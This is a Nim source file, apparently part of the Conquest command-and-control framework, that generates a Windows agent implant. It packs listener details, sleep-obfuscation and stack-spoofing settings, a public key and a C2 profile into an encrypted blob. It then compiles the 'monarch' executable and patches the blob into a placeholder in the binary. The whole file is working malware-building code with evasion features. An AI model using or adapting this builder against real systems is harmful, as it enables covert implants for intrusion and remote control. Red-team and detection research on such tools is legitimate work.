154 lines
5.3 KiB
Nim
154 lines
5.3 KiB
Nim
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, parsetoml
|
|
|
|
import ../globals
|
|
import ../core/logger
|
|
import ../db/database
|
|
import ../../common/[types, utils, serialize, crypto]
|
|
|
|
const PLACEHOLDER = "PLACEHOLDER"
|
|
|
|
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] =
|
|
|
|
var packer = Packer.init()
|
|
|
|
# Add listener configuration
|
|
# Variable length data is prefixed with a 4-byte length indicator
|
|
|
|
# Listener configuration
|
|
packer.add(string.toUuid(listener.listenerId))
|
|
packer.addDataWithLengthPrefix(string.toBytes(listener.address))
|
|
packer.add(uint32(listener.port))
|
|
|
|
# Sleep settings
|
|
packer.add(uint32(sleep))
|
|
packer.add(uint8(sleepTechnique))
|
|
packer.add(uint8(spoofStack))
|
|
|
|
# Public key for key exchange
|
|
packer.addData(cq.keyPair.publicKey)
|
|
|
|
# C2 profile
|
|
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
|
|
|
|
let data = packer.pack()
|
|
packer.reset()
|
|
|
|
# Encrypt profile configuration data with a newly generated encryption key
|
|
var aesKey = generateBytes(Key)
|
|
let iv = generateBytes(Iv)
|
|
|
|
let (encData, gmac) = encrypt(aesKey, iv, data)
|
|
|
|
# Add plaintext encryption material in front of the
|
|
packer.addData(aesKey)
|
|
packer.addData(iv)
|
|
packer.addData(gmac)
|
|
packer.add(uint32(encData.len()))
|
|
let encMaterial = packer.pack()
|
|
|
|
wipeKey(aesKey)
|
|
|
|
cq.info("Profile configuration serialized.")
|
|
return encMaterial & encData
|
|
|
|
proc replaceAfterPrefix(content, prefix, value: string): string =
|
|
result = content.splitLines().mapIt(
|
|
if it.startsWith(prefix):
|
|
prefix & '"' & value & '"'
|
|
else:
|
|
it
|
|
).join("\n")
|
|
|
|
proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string =
|
|
|
|
let
|
|
configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg"
|
|
exeFile = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
|
|
agentBuildScript = fmt"{CONQUEST_ROOT}/src/agent/build.sh"
|
|
|
|
# Update conquest root directory in agent build script
|
|
var buildScript = readFile(agentBuildScript).replaceAfterPrefix("CONQUEST_ROOT=", CONQUEST_ROOT)
|
|
writeFile(agentBuildScript, buildScript)
|
|
|
|
# Update placeholder and configuration values
|
|
let placeholder = PLACEHOLDER & "A".repeat(placeholderLength - (2 * len(PLACEHOLDER))) & PLACEHOLDER
|
|
var config = readFile(configFile)
|
|
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
|
|
.replaceAfterPrefix("-o:", exeFile)
|
|
.replaceAfterPrefix("-d:MODULES=", $modules)
|
|
writeFile(configFile, config)
|
|
|
|
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
|
|
|
|
# Build agent by executing the ./build.sh script on the system.
|
|
cq.info("Compiling agent.")
|
|
|
|
try:
|
|
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
|
|
let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut})
|
|
let outputStream = process.outputStream
|
|
|
|
var line: string
|
|
while outputStream.readLine(line):
|
|
cq.output(line)
|
|
|
|
let exitCode = process.waitForExit()
|
|
|
|
# Check if the build succeeded or not
|
|
if exitCode == 0:
|
|
cq.info("Agent payload generated successfully.")
|
|
return exeFile
|
|
else:
|
|
cq.error("Build script exited with code ", $exitCode)
|
|
return ""
|
|
|
|
except CatchableError as err:
|
|
cq.error("An error occurred: ", err.msg)
|
|
return ""
|
|
|
|
proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): seq[byte] =
|
|
|
|
cq.info("Patching profile configuration into agent.")
|
|
|
|
try:
|
|
var exeBytes = readFile(unpatchedExePath)
|
|
|
|
# Find placeholder
|
|
let placeholderPos = exeBytes.find(PLACEHOLDER)
|
|
if placeholderPos == -1:
|
|
raise newException(CatchableError, "Placeholder not found.")
|
|
|
|
cq.info(fmt"Placeholder found at offset 0x{placeholderPos:08X}.")
|
|
|
|
# Patch placeholder bytes
|
|
for i, c in Bytes.toString(configuration):
|
|
exeBytes[placeholderPos + i] = c
|
|
|
|
writeFile(unpatchedExePath, exeBytes)
|
|
|
|
cq.success(fmt"Agent payload patched successfully: {unpatchedExePath}.")
|
|
return string.toBytes(exeBytes)
|
|
|
|
except CatchableError as err:
|
|
cq.error("An error occurred: ", err.msg)
|
|
|
|
return @[]
|
|
|
|
# Agent generation
|
|
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] =
|
|
|
|
# Verify that listener exists
|
|
if not cq.dbListenerExists(listenerId.toUpperAscii):
|
|
cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.")
|
|
return
|
|
|
|
let listener = cq.listeners[listenerId.toUpperAscii]
|
|
|
|
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
|
|
|
|
let unpatchedExePath = cq.compile(config.len, modules)
|
|
if unpatchedExePath.isEmptyOrWhitespace():
|
|
return
|
|
|
|
# Return packet to send to client
|
|
return cq.patch(unpatchedExePath, config) |